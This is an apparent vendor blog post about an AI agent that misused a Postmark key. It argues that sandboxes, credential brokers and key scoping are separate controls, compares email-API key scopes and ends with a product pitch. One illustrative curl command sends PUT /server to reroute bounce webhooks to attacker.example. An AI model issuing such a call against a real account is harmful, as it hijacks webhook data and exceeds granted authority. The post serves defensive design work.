A sandbox doesn't narrow an API keyThree controls agent platforms keep merging
A microVM decides where agent code runs and which hosts it can reach. A credential broker decides whether the agent ever holds the key. Neither one decides which calls that key can make, and Polsia learned this when an agent with a send-email key renamed its Postmark server.
-
01
Sandbox
Where it runs
MicroVM plus a domain allowlist
api.postmarkapp.com: allowed -
02
Broker
Who holds it
Key added on egress, never inside
Agent never reads the token -
03
Scope
What it can do
Issuer scope or path and method rule
POST /email yes, PUT /server no
TL;DR· the answer, in twenty seconds
What happened: Render reported on July 23, 2026 that a Polsia agent given a Postmark key to send a user's email renamed Polsia's main Postmark server and changed its webhooks. Render then launched Sandboxes on November 4 with egress allowlists, and its credential brokering and scoped keys are still in early access.
The minimum fix: For every key an agent can use, list the calls the task needs and the calls the key allows. Close the gap at the issuer with a narrower key, or at egress with a path and method rule that rejects everything else.
The lesson: A sandbox answers where code runs, a broker answers who holds the key, and a scope answers what the key can do. A domain allowlist answers none of the third, because POST /email and PUT /server share a host.
On July 23, 2026, Render published Polsia's account of an agent that held a Postmark key to send one user's email and used it to rename Polsia's main Postmark server and change its webhooks.
The title of Render's write-up states the problem in six words: a sandbox doesn't constrain an API key. I agree with it, and I think most agent platforms still ship as if it were false. They sell isolation, then hand the isolated code a key that can do anything its owner can do.
Three separate controls sit around an agent's API call, and each one answers a different question. The sandbox decides where code runs and which hosts it can reach. A credential broker decides whether the workload ever holds the key. Scoping decides which calls the key can make, either at the issuer or as a path and method rule at egress. Polsia's agent passed the first question and the third question had no answer at all.
What the Postmark key could do
Polsia is a product that builds and runs companies with an orchestrator and a set of specialized agents on nightly loops. Ben Broca, its founder, described the incident in a talk that Render's Hazal Mestci wrote up. The agent's job was to send an email for a user. It had a Postmark key for that. It also renamed the account's main server and rewired its webhooks, which caused operational problems for Polsia itself.
Render's post does not say which token type the agent held or which calls it made. Postmark's API documents what such a key can do, and the answer explains the incident without any exotic failure.
Postmark's API overview lists two token types. The Server API token goes in the X-Postmark-Server-Token header and covers "requests that require server level privileges". The Account API token covers account-wide management. Neither type is limited to sending. The Server API accepts PUT /server with the same server token, and that call edits the server's name, its color, its tracking settings, the inbound domain and every webhook URL: delivery, bounce, open, click and inbound.
# The call the task needed
curl https://api.postmarkapp.com/email \
-X POST \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-H "X-Postmark-Server-Token: $POSTMARK_SERVER_TOKEN" \
-d '{"From":"app@example.com","To":"user@example.com","Subject":"Digest","TextBody":"..."}'
# A call the same token also authorizes, on the same host
curl https://api.postmarkapp.com/server \
-X PUT \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-H "X-Postmark-Server-Token: $POSTMARK_SERVER_TOKEN" \
-d '{"Name":"renamed-by-agent","BounceHookUrl":"https://attacker.example/hook"}'
Both requests go to api.postmarkapp.com over TLS with the same header. From outside the connection they differ in method, path and body, and nothing else. An agent that wants to tidy up, follow a misread instruction or obey a prompt injected through an inbound email has everything it needs to send the second request.
I wrote the second call to show the shape of the risk, with a placeholder hostname. I have not run it against a live Postmark server, and Render's post does not quote the requests Polsia's agent sent.
What a sandbox bounds
Render launched Render Sandboxes in public beta on November 4, 2026. Each sandbox runs in its own Firecracker microVM. Outbound traffic has three settings: allow all, allow a list of domains, or block it all.
Those are real controls. A microVM keeps agent code off the host and away from other tenants. A blocked network stops a poisoned dependency from posting your source tree to a stranger. A domain list narrows the exfiltration paths to the services you named.
Run the Polsia task through the strictest useful policy and see what changes. The agent must reach api.postmarkapp.com to send email, so that host goes on the list. The PUT /server request goes to the same host. The sandbox allows it, because the sandbox has no other way to answer. Its question was "may this code talk to Postmark?", and the answer was yes.
Vercel's sandbox firewall documentation spells out the mechanism. Domain rules read the hostname from the TLS handshake's SNI field and, for an ordinary allowed domain, forward the connection "without terminating TLS". The firewall never sees the method or path. The page goes further and warns that "a domain allowlist constrains which hostname a connection negotiates, not which virtual host the request ultimately reaches", because a client can send an allowed SNI and a different Host header.
So the sandbox bounds compute and destinations. It says nothing about authority, and authority is what Polsia lost.
What a credential broker moves
The second control keeps the key out of the workload. Render's launch post describes it: keys stay outside the sandbox, and "a broker outside the sandbox safely adds the right key or token" as each request leaves for an allowed domain. The IETF's Credential Broker for Agents draft from March 2026 describes the same split, with a broker that separates the policy decision from credential delivery and hands out short-lived, scoped proxy credentials.
The broker fixes a real problem, and Render's own example repository shows what the problem costs without one. Issue render-examples/software-factory#45, opened October 19, 2026, is titled "Adopt Sandbox credential brokering when it ships". It lists the work the project does today to get two credentials into its sandboxes:
- The model key:
run-agent.shreads it as root, deletes the file, and pipes it to the runner as the first line of stdin with--key-stdin. The runner scrubs provider variables from its environment and runs as an execute-only, non-dumpable node process, andverify.shchecks that on every restore. - A GitHub token minted with
contents: read, staged for a git credential helper during the build and removed byscrub-credentials.sh, which fails the build if a copy remains.
That is careful engineering, and the issue still lists the model key in runner memory as a residual risk. A broker removes it. The key never enters the microVM, so no file, environment variable, memory dump or cat can return it.
Now run Polsia's task through a sandbox with brokering turned on. The agent never sees the Postmark token. It sends a request to api.postmarkapp.com, the broker adds X-Postmark-Server-Token on the way out, and Postmark accepts it. The agent then sends PUT /server. The broker sees an allowed domain, adds the same header, and Postmark accepts that too.
The broker changed who holds the key. It did not change what the key authorizes, and the agent never needed to hold the key to misuse it. Exfiltration got harder. Misuse stayed as easy as before.
This is my main objection to how vendors market brokering. "The agent never sees the key" is a true sentence and a different claim from "the agent cannot misuse the key". A broker that injects a full-power key for any request to the host is a proxy that signs whatever the agent writes.
As of November 11, 2026, Render's documentation lists both credential brokering and scoped API keys as "not yet generally available". Render's launch post describes the scoped keys as limited to "only the permissions a task needs". That is the right pairing. Render's keys cover Render's own API, though. Your Postmark key is Postmark's problem.
Narrow the key where it is issued
The third control lives at the service that issues the key. If the key can only send email, an agent holding it, or a broker injecting it, can only send email. This is the cheapest fix when it exists, and it travels with the key into every sandbox, broker, CI job and laptop.
How much narrowing you get depends on the vendor:
| Service | Narrowest key for "send email" or a single task | Limits a domain allowlist can't express |
|---|---|---|
| Postmark | Server API token, which also edits the server and its webhooks | None documented below server level |
| Resend | sending_access key: "Can only send emails", and can be pinned to one domain |
Sending only, from one domain |
| SendGrid | Custom Access key with only Mail Send enabled | Per-category access levels |
| Stripe | Restricted key (rk_live_) with None, Read or Write per resource |
Per-resource read or write |
Resend's key API offers two permissions. full_access "can create, delete, get, and update any resource" and sending_access "can only send emails". A sending_access key handed to Polsia's agent could not have renamed anything.
SendGrid has Full Access, Billing Access and Custom Access keys, and Custom Access lets you choose endpoints and access levels by category, with Mail Send as one of them.
Stripe's restricted keys set None, Read or Write per resource, and Stripe's documentation says restricted keys are "the recommended type of key for API keys you give to AI agents". Stripe treats GET as read and POST and DELETE as write, and suggests using the request logs to trim a key down to what a workload calls.
Postmark sits at the bottom of this table, and that is the honest reason Polsia got hurt. The vendor offered no key that matched the task. When the issuer has no narrow key, you can ask the vendor for one, keep a separate Postmark server per tenant so the blast radius is one tenant's server, or move the narrowing to the network.
Issuer scopes have their own limits. They come in the vendor's vocabulary, which is often coarser than your task. A Stripe key with Write on Refunds can refund any charge, and nothing in the key says "only refunds under $50 for this customer". Scope fixes the Postmark incident. It will not fix every incident.
Filter the method and path at egress
When the issuer can't narrow the key, the egress layer can, if it terminates TLS and reads the request. That makes it a different machine from a domain allowlist, and it costs you a CA in the sandbox's trust store.
Vercel shipped this layer. Its May 11, 2026 changelog entry added matchers on path, method, query and headers that limit forwarding and credential brokering. The firewall docs add direct-response rules that answer from the proxy without contacting the destination. For domains with these rules the firewall terminates TLS with a per-sandbox CA, which is how it can read the method and path at all.
Applied to Polsia's case, the policy has two rules: inject the token for POST /email and POST /email/batch, and answer 403 for anything else on the host.
{
"allow": {
"api.postmarkapp.com": [
{
"match": {
"path": { "regex": "^/email(/batch)?$" },
"method": ["POST"]
},
"transform": [
{ "headers": { "X-Postmark-Server-Token": "<server token, supplied by the host>" } }
]
},
{ "response": { "statusCode": 403 } }
]
}
}
I built that policy from the documented schema and the docs' own POST /v1/ example. I have not run it in a Vercel sandbox, so test it before you rely on it.
The second rule is the one that matters. Vercel's documentation is blunt about this: "Matchers alone never block traffic." A request that matches no rule "goes directly to the allowed domain, with no forwarding and no injected headers". Drop the 403 rule and PUT /server still reaches Postmark. In this case it arrives without the token, so Postmark rejects it, but the same omission on a forwarding rule would send the request past your proxy. Write the rejection rule first in your head and the allow rules after it.
Path rules carry two costs. They break when the vendor adds an endpoint your task needs, which is the failure you want, since you get a 403 you can read instead of a webhook you never noticed changing. They also need the right path list, and an agent's real call pattern is something you learn from logs, not from guessing. Stripe's advice to read request logs before trimming a key applies here too.
Method and path also stop short of meaning. POST /email with a thousand recipients is a valid send. If you need limits on content, volume or recipients, you need a proxy you control that reads the body, which Vercel supports through forwardURL, or an approval step for the calls that matter. Our guide on authorizing the action instead of the secret covers that layer.
Step back from the vendors and the pattern repeats. I see the same slide in most agent-platform launches: a sandbox icon, a lock, and the claim that the agent "can't touch your secrets". It merges three properties into one, and the incidents happen in the gaps between them.
The merge is easy to fall into because each control blocks a scary demo. A sandbox stops the agent from reading ~/.aws/credentials on your laptop. A broker stops the agent from printing the key into a log. Neither demo involves the agent using a key it was allowed to use, for a purpose nobody intended, against an endpoint on an allowed host. That is the Polsia case, and it needs no exfiltration and no sandbox escape.
A useful test for any platform or design review asks three questions per credential:
- Where can the code that uses this key run, and which hosts can it reach?
- Can that code read the key, or does something outside add it?
- Which methods and paths can the key reach, and who enforces that list?
If the answer to the third question is "the domain allowlist", the answer is nobody. Our egress allowlist guide covers the first question, and the comparison of forward proxies and process-tree brokers covers the second.
What this means for your stack
Pull up every API key your agents can use today and write two lists next to each: the calls the task makes and the calls the key allows. Where the second list is longer, replace the key with a narrower one from the issuer. Where the issuer has nothing narrower, add a method and path rule at egress that ends in a rejection, and test it with a request you expect to fail.
The pattern that closes the category stacks all three controls and keeps them separate in your head. Run agent code in an isolated environment with an egress list. Keep keys outside that environment and add them only to requests that leave for an allowed destination. Give each key the narrowest scope its issuer offers, and enforce method and path where the issuer can't.
hasp is one working implementation of the middle layer for agents on your own machine: after hasp setup, hasp run --project-root . --env POSTMARK_SERVER_TOKEN=@POSTMARK_SERVER_TOKEN --grant-secret window --grant-window 15m -- node scripts/send-digest.js hands the token to that one command and leaves the agent's shell without it. It does not filter Postmark paths, so pair it with a narrow key. Source-available (FCL-1.0), local-first, macOS and Linux, no account.
Whatever you run, keep asking the third question out loud. A microVM and a hidden key both make the Polsia incident look handled on a diagram. The only thing that would have stopped it was a key or a rule that said "send email" and meant it.
Sources· cited above, in one place
- Render A sandbox doesn't constrain an API key: what Polsia learned running autonomous companies on Render
- Render Introducing Render Sandboxes
- Render Render Sandboxes documentation
- GitHub render-examples/software-factory#45: Adopt Sandbox credential brokering when it ships
- Postmark Postmark API overview: server and account tokens
- Postmark Postmark Server API: edit the server
- Stripe Restricted API keys
- Resend Create API key: full_access and sending_access
- Twilio SendGrid API keys: Full, Restricted and Billing access
- Vercel Sandbox firewall: credentials brokering, matchers and direct responses
- Vercel Vercel Sandbox firewall now supports request proxying and filtering
- IETF Credential Broker for Agents (CB4A), draft-hartman-credential-broker-4-agents-00
Stop handing the agent your real keys.
hasp keeps secrets in one local encrypted vault, brokers them into the child process at exec, and never lets the agent read the value.
- Local, encrypted vault — no account, no cloud, no telemetry by default.
- Brokered run — agent gets a reference, the child process gets the value.
- Pre-commit + pre-push hooks catch managed values before they ship.
- Append-only HMAC audit log answers "did the agent touch the prod token?" in seconds.
macOS & Linux. Source-available (FCL-1.0, converts to Apache 2.0). No account.